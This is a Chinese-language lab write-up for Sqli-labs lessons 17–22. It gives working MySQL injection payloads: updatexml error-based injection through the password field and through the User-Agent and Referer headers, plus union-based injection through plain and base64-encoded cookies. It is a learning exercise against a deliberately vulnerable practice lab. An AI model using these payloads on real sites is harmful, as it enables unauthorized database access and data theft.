Sqli-labs less17-22
Sqli-labs
为便于学习构造SQL语句的方式,需在每个less下的index.php文件中添加输出SQL语句的代码:

less17:
除了固定添加的两行代码外,还需添加两行代码

输入uname=admin&passwd=admin正确,输入uname=edg&passwd=admin错误且回显语句中不显示密码


输入uname=admin'#&passwd=admin错误,通过回显的语句发现'被转义为\',输入uname=admin&passwd=admin'#正确,通过回显的语句发现passwd字段的'没有限制


科普:updatexml(a,Xpath,b),利用Xpath格式报错,以报错的形式输出Xpath字段的执行结果
![]()
报错注入:
输入uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e),1)#正确,报错输出第5个数据库名为security

输入uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#正确,报错输出security库中第1个表名为emails

less18:
除了固定添加的两行代码外,还需添加两行代码

通过测试可知:登录成功显示User-Agent;登录失败不显示,而且uname和passwd字段的'都被转义为了\'
通过观察发现:后端SQL语句闭合方式为VALUES('User-Agent的值','IP地址','登录的用户名'),所以要在User-Agent字段处注入,有2种闭合方式


因为成功登录才能显示User-Agent的值,所以输入正确的uname和passwd,抓包尝试在User-Agent字段处使用报错注入
第一种闭合方式:
修改为'and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1,得到当前数据库名为security
因为这里没有逻辑关系,只需起到拼接作用即可,所以and和or都适用

第二种闭合方式:
修改为'and updatexml(1,concat(0x7e,database(),0x7e),1),'','')#,得到当前数据库名为security
伪造VALUES正确的参数格式

less19:
需要添加less18一样的代码

通过测试可知:登录成功显示Referer;登录失败不显示,而且uname和passwd字段的'都被转义为了\'
通过观察发现:后端SQL语句闭合方式为VALUES('Referer的值','IP地址'),所以要在Referer字段处注入,闭合方式与less18同理


less20:
Cookie注入
输入正确的Username和Password,页面显示Cookie

打开Firefox组件Cookie-Editor,修改Cookie中uname的值为admin',保存刷新页面,页面报错,修改Cookie中uname的值为admin'#,保存刷新页面,页面正确
说明Cookie处存在SQL注入,闭合方式为''


使用联合注入,修改Cookie中uname的值为egd' union select 1,2,database()#,保存刷新页面,页面Password处显示当前数据库名为security

less21:
Cookie注入
输入正确的Username和Password,页面显示Cookie,与less20不同的是uname的值被based64加密了,将payload使用based64加密后注入即可,其余与less20同理

less22:
与less21同理,不同的是闭合方式为""

浙公网安备 33010602011771号